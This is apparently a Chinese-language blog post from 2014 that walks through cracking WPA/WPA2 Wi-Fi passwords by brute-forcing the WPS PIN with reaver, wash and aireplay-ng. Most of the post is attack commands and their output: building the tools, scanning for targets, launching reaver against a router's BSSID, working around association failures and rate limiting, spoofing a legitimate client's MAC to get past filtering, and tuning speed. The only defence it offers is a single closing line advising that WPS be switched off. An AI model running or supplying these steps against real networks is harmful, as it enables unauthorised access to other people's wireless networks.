2014年1月13日 星期一

無線網路安全:破解 WPA/WPA2 - 完全不受密碼長度限制

先參考聲明,以及參考破解 WPA 的第一種暴力解密作法

第二種作法是透過 WPS (Wi-Fi Protected Setup) 攻擊,這種作法的優缺點如下。
優點:
  • 只要網卡與無線基地台的條件滿足,在一定的時間內可破解任何長度或字元組合的密碼(是的,即便是亂數決定的 63 個最大字元長度的密碼,只要條件滿足,也可以被破解)
缺點:
  • 網路卡不一定有支援攻擊用的函數,多數的網路卡(特別是新款)無法順利執行
  • 無線基地台的 CPU 可能速度太慢,導致攻擊時間需要更長
  • 無線基地台的 WPS 實作可能不完整,導致攻擊無法執行
  • 無線基地台可能會偵測到攻擊並且鎖住 WPS 功能,必須透過手動設定才能解開
  • 與第一種作法比較起來,較不隱密,因為會不斷需要與基地台往來傳送資料
此種攻擊手法,最大的特點就是有可能破解第一種作法無法破解的密碼,例如密碼不存在於字典檔案中,這第二種作法就可以破解它,完全不受密碼長度或者亂度的限制。現在網路流傳的,只要把密碼設定的很困難,例如用注音或拼音輸入看似亂數的英文數字與特殊字元組合等等,就可以避免駭客攻擊云云,在這篇文章所要揭露的手法下,顯得格外可笑。

此種攻擊手法最大的缺點在於兩處,第一是攻擊者的無線網卡,第二是被攻擊者的無線基地台。此種手法與兩端硬體高度相關,並非許多網卡支援此種攻擊所需要的功能,導致程式會無法進展,或者一直傾印錯誤訊息。

對無線基地台的硬體也有高度相關,因為 WPS 運算對 CPU 運算能力低的廉價基地台來說,速度較慢,且 WPS 的攻擊過程中,封包不能夠有遺失,如果遺失封包,整個單次猜測 PIN 碼的流程必須作廢,這在距離長度、無線信號強度,以及無線信號干擾的情況下,是很容易發生的,這些因素都會導致攻擊所需要的時間變長,最長的情況可能需要好幾天。

此外,現今部份的無線基地台廠商,也有實作鎖住 WPS 攻擊的產品,因為這並沒有一定的協定,因此各家廠商百花齊放,同一家廠商不同型號也會有不同的狀況,因此如果遇到被徹底鎖住 WPS 的基地台,攻擊便無法進行。

以下簡介此種手法如何進行,以及防範方法。

簡介

WPS 基本上是提供讓使用者設定 Wi-Fi 的方便工具,現在市售無線基地台,都會提供一個按鈕,通常會畫一個鑰匙在按鈕上,那個按鈕按下去,透過 Windows 的程式操作就會自動連線起來了,您的無線基地台手冊上面應該會說明。

WPS 也提供 PIN 碼的操作,就是不按按鈕,直接透過 Windows 上面可愛的小程式,輸入廠商提供的 PIN 碼,也可以快速連線,甚至自動幫您設定破解難度很高的無線網路密碼,以供其他使用者連線的時候可以使用。雖然 WPA 的密碼長度介在 8 到 63 個字元之間,PIN 碼長度卻固定為 8 位數,而且純數字。

大部分的無線基地台,特別是家用的類別,例如 IP 分享器之類的,預設的情況下 WPS 是開啟的。

WPS 在開啟的狀態下,PIN 碼可以透過不斷的暴力嘗試而被猜出來,另外因為 WPS 協定本身的限制,8 位數的 PIN 碼甚至可以分為 4 - 3 - 1 來逐步猜密,也就是說,我們可以先猜中前面 4 碼,然後再猜後 3 碼,最後 1 碼可透過前 7 碼運算得到。因此實際運算又比要完整猜出 10^8 種組合要容易。

和 WPS 攻擊有關的工具,比較有名氣的有三款:wpacrack、reaver,以及 bully。

wpacrack 有原作者開發的版本,此作者為 2011 年首先向 CVE 揭露 WPS 漏洞的人,同時間也有人發現,但是向 CVE 回報的為此作者。後來有高手在 GitHub 繼續維護此軟體的另一個版本。我實驗過發現可變動參數不及 reaver 與 bully 多,因此不在此介紹。

reaver 是與 wpacrack 作者同時期發現漏洞的人開發的,與其向 CVE 揭露,此作者率先推出一個開放原始碼的軟體,命名為 reaver,比 wpacrack 更早開放原始碼,並且讓網路社群提供回饋,後來作者開始賣產品 reaver pro,我幾天前上去看,一台要價 199 美金,有閒錢的朋友不妨一試,再和我們分享試用心得。同時作者繼續保留開放原始碼版本的 reaver,可以在 Google Code 上找到 reaver 的開發網頁

和前面兩款作品相比,bully 是比較晚期開發的軟體,您可以在這裡找到它的開發網頁。從 GitHub 上的更新日期來看,作者相當的有熱情與積極。

我在此篇文章介紹 reaver 的作法。

預備

下載 reaver 程式原始碼,編譯並安裝。

reaver 原始碼可以透過 subversion 下載,執行以下指令:
$ svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps

這會在當前的目錄裡新增一個 reaver-wps 的資料夾,進入裡面的 src 資料夾,並且編譯
$ cd reaver-wps/src
$ ./configure
$ make
$ sudo make install

可能會有需要的函式庫套件要裝,請依您的系統狀況與螢幕輸出,去一一裝起來。

如果未來要移除,執行以下指令:
$ sudo make distclean

安裝完後,請參考我早先寫的 WEP 破解預備部份,您需要準備好一個 monitor mode 的虛擬網卡 mon0,並且取得要攻擊的基地台資訊,假設您要攻擊的基地台 ESSID 為 wps-ap,BSSID 為 00:11:22:33:44:55,頻道暫時為 6。

說暫時是因為基地台可能切換頻道,而 WPS 攻擊費時可能長達數天,在這數天之中,必須不斷與基地台保持通訊狀態,所以當基地台切換頻道的時候,攻擊者也必須對應切換頻道。

洗頻道

先透過 reaver 提供的 wash 程式來看一下附近有哪些支援 WPS 的無線基地台:
$ sudo wash -i mon0

如果您不斷看到以下輸出:
[!] Found packet with bad FCS, skipping...

可以加上 -C 忽略 FCS,但是這可能代表網卡不被完整支援,先有心裡準備:
$ sudo wash -C -i mon0

正常來說,應該會看到基地台資訊,可能長得像下面:
Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
---------------------------------------------------------------------------------------------------------------
00:11:22:33:44:55       6            -58        1.0               No                wps-ap


我們可以看到要攻擊的對象提供 WPS 服務,並且暫時沒有鎖 WPS。

測試攻擊

執行以下指令攻擊對方:
$ sudo reaver -a -S -N -vv -b 00:11:22:33:44:55 -i mon0

-a 代表讓 reaver 自動化決定一些攻擊的參數,包括內部的時間變數等等,建議使用。
-S 代表使用 small DH keys 來加速攻擊。
-N 代表如果收到順序錯亂的封包不要理會它們。
-vv 是顯示偵錯訊息,初步的測試攻擊中我們需要盡可能多的資訊。
-b 後面接的基地台的 BSSID
-i 後面接的攻擊用的虛擬網卡

調整攻擊參數 - 頻道

您應該會看到 reaver 開始切換頻道,如下的輸出:
[+] Switching mon0 to channel 1
[+] Switching mon0 to channel 2
[+] Switching mon0 to channel 3
[+] Switching mon0 to channel 4
[+] Switching mon0 to channel 5
[+] Switching mon0 to channel 6


這代表 reaver 有正確的切換頻道,您可以跳過下面的部份,直接進行下一個步驟。

如果沒有,您必須手動指定頻道,首先先切換 mon0 頻道到 6。
$ sudo iwconfig mon0 channel 6

可透過 iwlist 檢查一下:
$ iwlist mon0 channel

印出 Current Frequency:2.437 GHz (Channel 6) 就對了。

然後您必須修改攻擊參數,增加 -c 指定頻道:
$ sudo reaver -a -S -N -vv -b 00:11:22:33:44:55 -i mon0 -c 6

調整攻擊參數 - associate

如果您一直看到類似以下錯誤資訊,告訴您無法和基地台 associate:
[!] WARNING: Failed to associate with 00:11:22:33:44:55 (ESSID: wps-ap)

代表您的 reaver 無法順利操作網卡與基地台連接,這個時候需要再次修改攻擊參數。

如果沒有看見此訊息,或者訊息只出現少數幾次,也沒有連續同時出現,您可以跳過下面的部份,到下一步驟。

要解決此問題,我們要透過 aireplay-ng 的協助,關於 aireplay-ng,我在早先的破解 WEP 文章已經介紹過。

請先開啟一個 terminal,透過 aireplay-ng -1 來與基地台連接:
$ sudo aireplay-ng -1 2 -a 00:11:22:33:44:55 mon0

順利的話,應該會在幾次的嘗試之內,看到如下輸出:
17:26:57  Sending Authentication Request (Open System) [ACK]
17:26:57  Authentication successful
17:26:57  Sending Association Request [ACK]
17:26:57  Association successful :-) (AID: 1)


代表連接成功,我使用 -1 2 代表每 2 秒與基地台建立一次連接,每一次 WPS 暴力測試都需要一次連接,所以這個頻率會決定攻擊的速度,但是我們先用 2,之後也可以因狀況微調。

如果連 aireplay-ng 也無法 associate,可能代表網卡有異狀或不支援,您可以先排除有異狀的情形,先拔除網卡再重新插回測試,如果還是不行,可能是網卡不支援。

如果您確定您的網卡在別的地方可以使用 aireplay,例如 WEP 和 WPA 的暴力解密手法中,可以正常執行,那麼最有可能的原因就出在無線基地台那邊。有可能是無線基地台本身不穩定,或者無線基地台有設定鎖 MAC addresses。要排除鎖 MAC addresses 的情況,可以透過 airodump-ng 來抓看看是否有其他合法使用者,並且它們的 MAC addresses 是什麼,然後改自己的網卡 MAC,再重新嘗試。

此時回到 reaver 所在的 terminal,修改攻擊參數,增加一個參數 -A 如下:
$ sudo reaver -a -S -N -vv -b 00:11:22:33:44:55 -i mon0 -c 6 -A

-A 代表 reaver 不自己去 associate 對方基地台,交給其他程式,也就是我們利用的 aireplay-ng 來操作。

確認測試攻擊結果

此時再次使用 reaver 進行攻擊,如果您有無法 associate 的問題,請保留 aireplay-ng -1 在別的 terminal 繼續運作。

觀看 reaver 的輸出,如果您看到 Trying pin xxxxxxxx 有不斷的更新,也就是數字不斷的跳動,代表 reaver 已經正常在執行了,恭喜您!您可以跳到下一步驟,微調攻擊速度。

如果您不斷看到 WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking,代表基地台會自動偵測 WPS 的 PIN 碼攻擊,然後有一定的時間與機制會鎖住 WPS 功能。建議您可以把時間放慢試試看,如果無效,代表此基地台無法攻擊成功。

如果您重複地看到連續在一起的多次 timeout,並且沒有任何進展,可能代表網卡不被 reaver 所支援。您可以參考我的此篇文章確認您的網卡模組是什麼,然後看看 reaver 官網所支援的網卡模組有哪些。

微調攻擊速度

如果您有進展,應該成功嘗試 PIN 碼五次左右,reaver 會印出速度資訊,類似這樣:
[+] 00.01% complete @ 2014-01-13 17:45:03 (15 seconds/pin)

您可以看到速度是 15 seconds/pin,這是很慢的速度,這個速度可能取決於無線基地台的回應速度、基地台的 CPU 速度、您的網卡與基地台之間的距離、信號干擾等等原因。

以 15 為例,如果您是透過 reaver 自動與基地台 associate,那就不需要改動什麼,只要有顆耐心即可。

如果您是透過 aireplay-ng -1 來與基地台 associate,建議您可以回去修改 aireplay-ng -1後面的數字,像我們上面是 2,代表每 2 秒 associate 一次,這就太頻繁了。可以對應 15 改成稍微小一點點的數字即可,例如 12:
$ sudo aireplay-ng -1 12 -a 00:11:22:33:44:55 mon0

而 reaver 的輸出 -vv 也可以調整為 -v,以減低螢幕上不必要資訊的數量。

最後

跑到最後,應該 reaver 會將正確的 PIN 碼傾印出來,有些時候 reaver 甚至會直接將 WPA 的連線密碼也傾印出來。

如果只有傾印 PIN 碼,您可以透過我的這篇文章,來驗證 PIN 碼是否正確。

至此,攻擊完成。

防範方法

參考您的無線基地台手冊,把 WPS 功能關閉吧 ^_^

沒有留言:

張貼留言